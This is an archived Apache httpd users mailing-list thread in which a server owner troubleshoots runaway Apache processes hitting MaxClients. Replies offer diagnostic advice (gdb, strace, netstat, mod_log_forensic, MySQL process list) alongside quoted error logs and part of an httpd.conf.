Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
I can't imagine that RAM is the problem, nor the CPU.  It's a dual core
machine with 5GB of RAM that gets MAYBE a few hundred unique hits a month
between ALL the web sites on it.  It did this once before I even had most of
the web sites on it, it only had one or two on it the first time it happened
and was getting maybe a dozen hits a month.
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Tue, Jan 26, 2010 at 20:42, Reese <ho...@inkworkswell.com> wrote:

> On 26-Jan-10 20:28, Dan Bunyard wrote:
>
>> This has happened twice now and it's a little bit concerning to me. I have
>> a
>> Fedora 12 server with 5GB of RAM that I use to host a few small web sites
>> of
>> mine. As I mentioned, this happened once before. I tried to load one of my
>> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
>> SSHed into the box and found the load average around 100 (dual core
>> machine). Since this was the second time it had happened, I knew that it
>> was
>> Apache causing it. So I restarted the Apache service and everything
>> returned
>> to normal. A look in the error_log showed this error:
>>
>> server reached MaxClients setting, consider raising the MaxClients setting
>>
>> I suspect that this is the reason that Apache was eating up all my system
>> resources but I don't have any idea how to fix it.
>>
>> I do use PHP and MySQL fairly heavily. All the sites on the server use PHP
>> in some form and most of the use MySQL. Could this be part of the problem?
>> I
>> attached a copy of my httpd.conf file to this message if that will help
>> (It's also inserted into this email at the very bottom).
>>
>> Any help would be appreciated!!!
>>
>
> Off-the-cuff guesses:
>
> - Install more RAM
> - Install more CPU
> - Install more CPU and more RAM
> - limit MaxClients to 75 or 50
>
> If you are getting that much traffic, grow the server to accommodate
> it or choke it so that you can run FTP in the manner you like.
>
> Reese
>
>
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Runaway Apache Process

Posted by Reese <ho...@inkworkswell.com>.
On 26-Jan-10 20:28, Dan Bunyard wrote:
> This has happened twice now and it's a little bit concerning to me. I have a
> Fedora 12 server with 5GB of RAM that I use to host a few small web sites of
> mine. As I mentioned, this happened once before. I tried to load one of my
> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
> SSHed into the box and found the load average around 100 (dual core
> machine). Since this was the second time it had happened, I knew that it was
> Apache causing it. So I restarted the Apache service and everything returned
> to normal. A look in the error_log showed this error:
> 
> server reached MaxClients setting, consider raising the MaxClients setting
> 
> I suspect that this is the reason that Apache was eating up all my system
> resources but I don't have any idea how to fix it.
> 
> I do use PHP and MySQL fairly heavily. All the sites on the server use PHP
> in some form and most of the use MySQL. Could this be part of the problem? I
> attached a copy of my httpd.conf file to this message if that will help
> (It's also inserted into this email at the very bottom).
> 
> Any help would be appreciated!!!

Off-the-cuff guesses:

- Install more RAM
- Install more CPU
- Install more CPU and more RAM
- limit MaxClients to 75 or 50

If you are getting that much traffic, grow the server to accommodate
it or choke it so that you can run FTP in the manner you like.

Reese



---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Jeff Trawick <tr...@gmail.com>.
On Wed, Jan 27, 2010 at 8:28 AM, Dan Bunyard <da...@gmail.com> wrote:
> I have never done a backtrace, can you please point me in the right
> direction for that?

gdb /path/to/httpd PID
...
(gdb) where
(backtrace displayed here)
(gdb) quit

run gdb as root if you start httpd as root

> I didn't check CPU usage at the time, only load average which was around 100
> (normally it's between 0.02 and 0.5 over 1 minute).

top might give a good clue

> I was able to log in but it was VERY slow.  As I watched the load average it
> was continuing to climb just before I killed Apache.  It did not terminate
> gracefully either, the error_log showed this:
...

> [Mon Jan 25 12:50:49 2010] [warn] child process 23437 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 23441 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 23445 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 23451 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 23453 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 28350 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 28355 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:49 2010] [warn] child process 26939 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 23437 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 23441 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 23445 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 23451 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 23453 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 28350 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 28355 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:51 2010] [warn] child process 26939 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 23437 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 23441 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 23445 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 23451 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 23453 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 28350 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 28355 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:53 2010] [warn] child process 26939 still did not exit,
> sending a SIGTERM
> [Mon Jan 25 12:50:55 2010] [error] child process 23437 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 23441 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 23445 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 23451 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 23453 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 28350 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 28355 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:55 2010] [error] child process 26939 still did not exit,
> sending a SIGKILL
> [Mon Jan 25 12:50:56 2010] [notice] caught SIGTERM, shutting down

hmmm.... far more "[warn] ... sending a SIGTERM" than "[error] ...
sending a SIGKILL"...  I guess that means the processes in
interruptible code and system performance is degraded enough that it
takes a long time for the processes to get cleaned up.  (I doubt
there's anything to learn there.)

> Is there a way to turn on more logging (debug logs) or a better way to trace
> what it doing at that time?

no httpd debug logs would help AFAIK; no clue here what PHP offers

you could pick one of the high CPU processes and strace it to see
which, if any, system calls are being issued during that time

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
I have never done a backtrace, can you please point me in the right
direction for that?

I didn't check CPU usage at the time, only load average which was around 100
(normally it's between 0.02 and 0.5 over 1 minute).

I was able to log in but it was VERY slow.  As I watched the load average it
was continuing to climb just before I killed Apache.  It did not terminate
gracefully either, the error_log showed this:
[Mon Jan 25 12:50:49 2010] [warn] child process 23437 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 23441 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 23445 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 23451 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 23453 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 28350 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 28355 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:49 2010] [warn] child process 26939 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 23437 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 23441 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 23445 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 23451 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 23453 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 28350 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 28355 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:51 2010] [warn] child process 26939 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 23437 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 23441 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 23445 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 23451 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 23453 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 28350 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 28355 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:53 2010] [warn] child process 26939 still did not exit,
sending a SIGTERM
[Mon Jan 25 12:50:55 2010] [error] child process 23437 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 23441 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 23445 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 23451 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 23453 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 28350 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 28355 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:55 2010] [error] child process 26939 still did not exit,
sending a SIGKILL
[Mon Jan 25 12:50:56 2010] [notice] caught SIGTERM, shutting down

Is there a way to turn on more logging (debug logs) or a better way to trace
what it doing at that time?

Thanks,
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Wed, Jan 27, 2010 at 08:18, Jeff Trawick <tr...@gmail.com> wrote:

> On Tue, Jan 26, 2010 at 8:28 PM, Dan Bunyard <da...@gmail.com> wrote:
> > This has happened twice now and it's a little bit concerning to me. I
> have a
> > Fedora 12 server with 5GB of RAM that I use to host a few small web sites
> of
> > mine. As I mentioned, this happened once before. I tried to load one of
> my
> > web sites today and it took FOREVER (as in the 10s of minutes) to load. I
> > SSHed into the box and found the load average around 100 (dual core
> > machine). Since this was the second time it had happened, I knew that it
> was
> > Apache causing it. So I restarted the Apache service and everything
> returned
> > to normal. A look in the error_log showed this error:
> >
> > server reached MaxClients setting, consider raising the MaxClients
> setting
> >
> > I suspect that this is the reason that Apache was eating up all my system
> > resources but I don't have any idea how to fix it.
>
> This means that you have 100 active client connections, and that's the
> limit of your configuration (MaxClients=100).
>
> I didn't catch whether or not you had high CPU utilization.
>
> I didn't catch whether or not you had a high number of requests being
> processed during this time.
>
> High CPU utilization, relatively low number of requests:
>
> I'd guess that some application code running inside Apache encounters
> an unexpected situation that results in loops or other extremely high
> CPU that prevents the request from being completed within a reasonable
> period of time (or ever).  The fact that you could log in after a
> while suggests that some of this faulty request processing does
> eventually finish.
>
> High CPU utilization, relatively high number of requests:
>
> Your server is just being overwhelmed -- application request
> processing requires noticable CPU, and the box can't handle large
> numbers of concurrent requests.  Likely some application-level
> optimization will help.
>
>
> If you pick an httpd child process and get backtraces of it at
> intervals with gdb to see where it is spending its time, that might
> provide valuable clues.
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Runaway Apache Process

Posted by Jeff Trawick <tr...@gmail.com>.
On Tue, Jan 26, 2010 at 8:28 PM, Dan Bunyard <da...@gmail.com> wrote:
> This has happened twice now and it's a little bit concerning to me. I have a
> Fedora 12 server with 5GB of RAM that I use to host a few small web sites of
> mine. As I mentioned, this happened once before. I tried to load one of my
> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
> SSHed into the box and found the load average around 100 (dual core
> machine). Since this was the second time it had happened, I knew that it was
> Apache causing it. So I restarted the Apache service and everything returned
> to normal. A look in the error_log showed this error:
>
> server reached MaxClients setting, consider raising the MaxClients setting
>
> I suspect that this is the reason that Apache was eating up all my system
> resources but I don't have any idea how to fix it.

This means that you have 100 active client connections, and that's the
limit of your configuration (MaxClients=100).

I didn't catch whether or not you had high CPU utilization.

I didn't catch whether or not you had a high number of requests being
processed during this time.

High CPU utilization, relatively low number of requests:

I'd guess that some application code running inside Apache encounters
an unexpected situation that results in loops or other extremely high
CPU that prevents the request from being completed within a reasonable
period of time (or ever).  The fact that you could log in after a
while suggests that some of this faulty request processing does
eventually finish.

High CPU utilization, relatively high number of requests:

Your server is just being overwhelmed -- application request
processing requires noticable CPU, and the box can't handle large
numbers of concurrent requests.  Likely some application-level
optimization will help.


If you pick an httpd child process and get backtraces of it at
intervals with gdb to see where it is spending its time, that might
provide valuable clues.

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


[users@httpd] Re: Runaway Apache Process

Posted by Nicholas Sherlock <n....@gmail.com>.
On 27/01/2010 2:28 p.m., Dan Bunyard wrote:
> This has happened twice now and it's a little bit concerning to me. I
> have a Fedora 12 server with 5GB of RAM that I use to host a few small
> web sites of mine. As I mentioned, this happened once before. I tried to
> load one of my web sites today and it took FOREVER (as in the 10s of
> minutes) to load. I SSHed into the box and found the load average around
> 100 (dual core machine). Since this was the second time it had happened,
> I knew that it was Apache causing it. So I restarted the Apache service
> and everything returned to normal. A look in the error_log showed this
> error:

It's really, really easy to get into this situation with PHP + MySQL. 
One very long running query (e.g. that touches tens of millions of rows, 
probably by accident because an index is missing) holds the lock on some 
important table. All of the other clients have to wait for the lock. 
Load skyrockets.

Connect to MySQL when something like this happens and run SHOW FULL 
PROCESSLIST. Look for long-running queries.

Cheers,
Nicholas Sherlock


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
I think I done that right, I added this to my httpd.conf file:

LoadModule log_forensic_module modules/mod_log_forensic.so
#Forensic logging
ForensicLog logs/forensic_log

I am seeing stuff in the forensic_log so I guess that's right.  I will take
a look at it the next time it happens.  Thanks for you help!!
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Wed, Jan 27, 2010 at 09:34, Eric Covener <co...@gmail.com> wrote:

> On Wed, Jan 27, 2010 at 9:22 AM, Dan Bunyard <da...@gmail.com> wrote:
> > @Jeff
> > The last request made before it goes out of control doesn't seem to be
> > unique in any way, it appears to be the Yandex spider just crawling one
> of
> > the sites:
> > 87.250.252.242 - - [25/Jan/2010:11:38:00 -0500] "GET / HTTP/1.1" 301 359
> "-"
> > "Yandex/1.01.001 (compatible; Win16; I)"
>
> Try mod_log_forensic -- the one in the access log is just the last one
> that completed, which your hanger wouldn't have done.
>
> --
> Eric Covener
> covener@gmail.com
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Runaway Apache Process

Posted by Eric Covener <co...@gmail.com>.
On Wed, Jan 27, 2010 at 9:22 AM, Dan Bunyard <da...@gmail.com> wrote:
> @Jeff
> The last request made before it goes out of control doesn't seem to be
> unique in any way, it appears to be the Yandex spider just crawling one of
> the sites:
> 87.250.252.242 - - [25/Jan/2010:11:38:00 -0500] "GET / HTTP/1.1" 301 359 "-"
> "Yandex/1.01.001 (compatible; Win16; I)"

Try mod_log_forensic -- the one in the access log is just the last one
that completed, which your hanger wouldn't have done.

-- 
Eric Covener
covener@gmail.com

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
@Jeff
The last request made before it goes out of control doesn't seem to be
unique in any way, it appears to be the Yandex spider just crawling one of
the sites:
87.250.252.242 - - [25/Jan/2010:11:38:00 -0500] "GET / HTTP/1.1" 301 359 "-"
"Yandex/1.01.001 (compatible; Win16; I)"
That was the very last request made before the Apache process went haywire.
I don't see anything unique about that hit, I see a fair number of hits from
the same bot on a daily basis.  If you look through the zip I attached
earlier the entire access_log and error_log are there.  Nothing stood out to
me, though I'm no expert.

Thanks,
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Wed, Jan 27, 2010 at 08:52, Jeff Trawick <tr...@gmail.com> wrote:

> On Wed, Jan 27, 2010 at 8:46 AM, Dan Bunyard <da...@gmail.com> wrote:
> > @Mark
> > I will do that the next time it happens.  I will also trim down the
> modules,
> > I think I had done a mass install of a bunch of things I needed but in
> the
> > process picked up a lot of them that I don't/won't use.
>
> That's a good suggestion and should be followed, but relative to this
> problem symptom: I don't think that will help memory consumption much
> on Linux.  There's only one copy of the code in memory, none allocated
> from swap, and modules rarely use that much heap unless they've been
> configured
> >
> > @Jeff
> > I will try that as well.  I'm unsure how to do a strace either to be
> > honest.
>
> sudo strace -o /tmp/tracefile -p PID
> where PID is one of the high CPU httpd processes you picked at random
> (run top, see which ones have high CPU)
>
>
> >          I can't imagine this is from shear number of requests.  In the
> hour
> > or so leading up to the event there are only 123 GET requests logged in
> the
> > access_log file.  That just about one every 30 seconds, I can't see that
> > being a problem.
>
> Are they different requests at the time of the problem symptom perhaps?
> Otherwise, something "goes bad" and the app starts malfunctioning from then
> on.
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Runaway Apache Process

Posted by Jeff Trawick <tr...@gmail.com>.
On Wed, Jan 27, 2010 at 8:46 AM, Dan Bunyard <da...@gmail.com> wrote:
> @Mark
> I will do that the next time it happens.  I will also trim down the modules,
> I think I had done a mass install of a bunch of things I needed but in the
> process picked up a lot of them that I don't/won't use.

That's a good suggestion and should be followed, but relative to this
problem symptom: I don't think that will help memory consumption much
on Linux.  There's only one copy of the code in memory, none allocated
from swap, and modules rarely use that much heap unless they've been
configured
>
> @Jeff
> I will try that as well.  I'm unsure how to do a strace either to be
> honest.

sudo strace -o /tmp/tracefile -p PID
where PID is one of the high CPU httpd processes you picked at random
(run top, see which ones have high CPU)


>          I can't imagine this is from shear number of requests.  In the hour
> or so leading up to the event there are only 123 GET requests logged in the
> access_log file.  That just about one every 30 seconds, I can't see that
> being a problem.

Are they different requests at the time of the problem symptom perhaps?
Otherwise, something "goes bad" and the app starts malfunctioning from then on.

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
@Mark
I will do that the next time it happens.  I will also trim down the modules,
I think I had done a mass install of a bunch of things I needed but in the
process picked up a lot of them that I don't/won't use.

@Jeff
I will try that as well.  I'm unsure how to do a strace either to be
honest.  I can't imagine this is from shear number of requests.  In the hour
or so leading up to the event there are only 123 GET requests logged in the
access_log file.  That just about one every 30 seconds, I can't see that
being a problem.

Thanks,
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Wed, Jan 27, 2010 at 08:41, Mark Watts <m....@eris.qinetiq.com> wrote:

>
> Next time your system goes wonky, check the following:
>
> # netstat -plant | grep httpd | grep -c ESTABLISHED
>
> This should say 100 or so, indicating you've filled MaxClients worth of
> processes.
>
> You might want to try this, which should tell you how many connections
> each IP address connecting to you is using:
>
> # netstat -lant | grep ESTABLISHED | awk '{print $5}' | cut -d ":" -f1 |
> sort | uniq -c
>
>
>
> As an aside, you're loading all the modules under the sun which won't be
> helping your memory consumption much. I'd consider trimming to those
> modules you know you need.
>
> Mark.
>
>
> On Tue, 2010-01-26 at 20:28 -0500, Dan Bunyard wrote:
> > This has happened twice now and it's a little bit concerning to me. I
> > have a Fedora 12 server with 5GB of RAM that I use to host a few small
> > web sites of mine. As I mentioned, this happened once before. I tried
> > to load one of my web sites today and it took FOREVER (as in the 10s
> > of minutes) to load. I SSHed into the box and found the load average
> > around 100 (dual core machine). Since this was the second time it had
> > happened, I knew that it was Apache causing it. So I restarted the
> > Apache service and everything returned to normal. A look in the
> > error_log showed this error:
> >
> > server reached MaxClients setting, consider raising the MaxClients
> > setting
> >
> > I suspect that this is the reason that Apache was eating up all my
> > system resources but I don't have any idea how to fix it.
> >
> > I do use PHP and MySQL fairly heavily. All the sites on the server use
> > PHP in some form and most of the use MySQL. Could this be part of the
> > problem? I attached a copy of my httpd.conf file to this message if
> > that will help (It's also inserted into this email at the very
> > bottom).
> >
> > Any help would be appreciated!!!
> > Thanks,
> > --
> > Dan
> >
> > http://www.moonlightrpg.com
> > http://www.linkedin.com/in/danbunyard
> > http://www.danodemano.com
> > http://www.dansrandomness.com
> > http://www.danandshelley.com
> >
> > This is not a problem that requires infinite wisdom, Benj. This is a
> > problem that requires enough neural organization to qualify as a
> > vertebrate, apparently a stretch for some folks these days.
> > ~Cecil Adams.
> >
> >
> > httpd.conf
> > #
> > # This is the main Apache server configuration file.  It contains the
> > # configuration directives that give the server its instructions.
> > # See <URL:http://httpd.apache.org/docs/2.2/> for detailed
> > information.
> > # In particular, see
> > # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
> > # for a discussion of each configuration directive.
> > #
> > #
> > # Do NOT simply read the instructions in here without understanding
> > # what they do.  They're here only as hints or reminders.  If you are
> > unsure
> > # consult the online docs. You have been warned.
> > #
> > # The configuration directives are grouped into three basic sections:
> > #  1. Directives that control the operation of the Apache server
> > process as a
> > #     whole (the 'global environment').
> > #  2. Directives that define the parameters of the 'main' or 'default'
> > server,
> > #     which responds to requests that aren't handled by a virtual
> > host.
> > #     These directives also provide default values for the settings
> > #     of all virtual hosts.
> > #  3. Settings for virtual hosts, which allow Web requests to be sent
> > to
> > #     different IP addresses or hostnames and have them handled by the
> > #     same Apache server process.
> > #
> > # Configuration and logfile names: If the filenames you specify for
> > many
> > # of the server's control files begin with "/" (or "drive:/" for
> > Win32), the
> > # server will use that explicit path.  If the filenames do *not* begin
> > # with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
> > # with ServerRoot set to "/etc/httpd" will be interpreted by the
> > # server as "/etc/httpd/logs/foo.log".
> > #
> >
> > ### Section 1: Global Environment
> > #
> > # The directives in this section affect the overall operation of
> > Apache,
> > # such as the number of concurrent requests it can handle or where it
> > # can find its configuration files.
> > #
> >
> > #
> > # Don't give away too much information about all the subcomponents
> > # we are running.  Comment out this line if you don't mind remote
> > sites
> > # finding out what major optional modules you are running
> > ServerTokens OS
> >
> > #
> > # ServerRoot: The top of the directory tree under which the server's
> > # configuration, error, and log files are kept.
> > #
> > # NOTE!  If you intend to place this on an NFS (or otherwise network)
> > # mounted filesystem then please read the LockFile documentation
> > # (available at
> > <URL:http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
> > # you will save yourself a lot of trouble.
> > #
> > # Do NOT add a slash at the end of the directory path.
> > #
> > ServerRoot "/etc/httpd"
> >
> > #
> > # PidFile: The file in which the server should record its process
> > # identification number when it starts.
> > #
> > PidFile run/httpd.pid
> >
> > #
> > # Timeout: The number of seconds before receives and sends time out.
> > #
> > Timeout 120
> >
> > #
> > # KeepAlive: Whether or not to allow persistent connections (more than
> > # one request per connection). Set to "Off" to deactivate.
> > #
> > KeepAlive Off
> >
> > #
> > # MaxKeepAliveRequests: The maximum number of requests to allow
> > # during a persistent connection. Set to 0 to allow an unlimited
> > amount.
> > # We recommend you leave this number high, for maximum performance.
> > #
> > MaxKeepAliveRequests 100
> >
> > #
> > # KeepAliveTimeout: Number of seconds to wait for the next request
> > from the
> > # same client on the same connection.
> > #
> > KeepAliveTimeout 15
> >
> > ##
> > ## Server-Pool Size Regulation (MPM specific)
> > ##
> >
> > # prefork MPM
> > # StartServers: number of server processes to start
> > # MinSpareServers: minimum number of server processes which are kept
> > spare
> > # MaxSpareServers: maximum number of server processes which are kept
> > spare
> > # ServerLimit: maximum value for MaxClients for the lifetime of the
> > server
> > # MaxClients: maximum number of server processes allowed to start
> > # MaxRequestsPerChild: maximum number of requests a server process
> > serves
> > <IfModule prefork.c>
> > StartServers       8
> > MinSpareServers    5
> > MaxSpareServers   20
> > ServerLimit      256
> > MaxClients       100
> > MaxRequestsPerChild  0
> > </IfModule>
> >
> > # worker MPM
> > # StartServers: initial number of server processes to start
> > # MaxClients: maximum number of simultaneous client connections
> > # MinSpareThreads: minimum number of worker threads which are kept
> > spare
> > # MaxSpareThreads: maximum number of worker threads which are kept
> > spare
> > # ThreadsPerChild: constant number of worker threads in each server
> > process
> > # MaxRequestsPerChild: maximum number of requests a server process
> > serves
> > <IfModule worker.c>
> > StartServers         2
> > MaxClients         100
> > MinSpareThreads     15
> > MaxSpareThreads     25
> > ThreadsPerChild     5
> > MaxRequestsPerChild  0
> > </IfModule>
> >
> > #
> > # Listen: Allows you to bind Apache to specific IP addresses and/or
> > # ports, in addition to the default. See also the <VirtualHost>
> > # directive.
> > #
> > # Change this to Listen on specific IP addresses as shown below to
> > # prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
> > #
> > #Listen 12.34.56.78:80
> > Listen *:80
> > Listen *:81
> >
> > #
> > # Dynamic Shared Object (DSO) Support
> > #
> > # To be able to use the functionality of a module which was built as a
> > DSO you
> > # have to place corresponding `LoadModule' lines at this location so
> > the
> > # directives contained in it are actually available _before_ they are
> > used.
> > # Statically compiled modules (those listed by `httpd -l') do not need
> > # to be loaded here.
> > #
> > # Example:
> > # LoadModule foo_module modules/mod_foo.so
> > #
> > LoadModule auth_basic_module modules/mod_auth_basic.so
> > LoadModule auth_digest_module modules/mod_auth_digest.so
> > LoadModule authn_file_module modules/mod_authn_file.so
> > LoadModule authn_alias_module modules/mod_authn_alias.so
> > LoadModule authn_anon_module modules/mod_authn_anon.so
